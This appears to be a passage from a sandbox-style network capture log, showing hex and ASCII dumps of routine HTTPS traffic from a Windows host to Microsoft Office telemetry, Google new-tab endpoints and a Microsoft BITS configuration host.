2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	142.250.186.132	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:30 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 17:06:30 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 17:06:30 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 17:06:30 UTC	336	IN	Data Raw: 32 31 34 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 214b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 37 2c 33 37 30 30 39 33 38 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700337,3700938,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-30 17:06:30 UTC	1305	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-30 17:06:30 UTC	390	IN	Data Raw: 31 37 66 0d 0a 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 6d 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 Data Ascii: 17fif(a instanceof _.Yd)a\u003da.i;else throw Error(\"F\");else a\u003d_.me(a);return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);re
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f Data Ascii: 8000\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 70 61 6e 5c 22 2c 74 79 70 65 3a 5c 22 74 79 70 65 5c 22 2c 75 73 65 6d 61 70 3a 5c 22 75 73 65 4d 61 70 5c 22 2c 76 61 6c 69 67 6e 3a 5c 22 76 41 6c 69 67 6e 5c 22 2c 77 69 64 74 68 3a 5c 22 77 69 64 74 68 5c 22 7d 3b 5c 6e 5f 2e 42 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e Data Ascii: cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowSpan\",type:\"type\",usemap:\"useMap\",valign:\"vAlign\",width:\"width\"};\n_.Be\u003dfunction

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	142.250.186.132	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:30 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 17:06:30 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 17:06:30 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 17:06:30 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 17:06:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:31 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 17:06:31 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=257951 Date: Wed, 30 Oct 2024 17:06:31 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49731	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
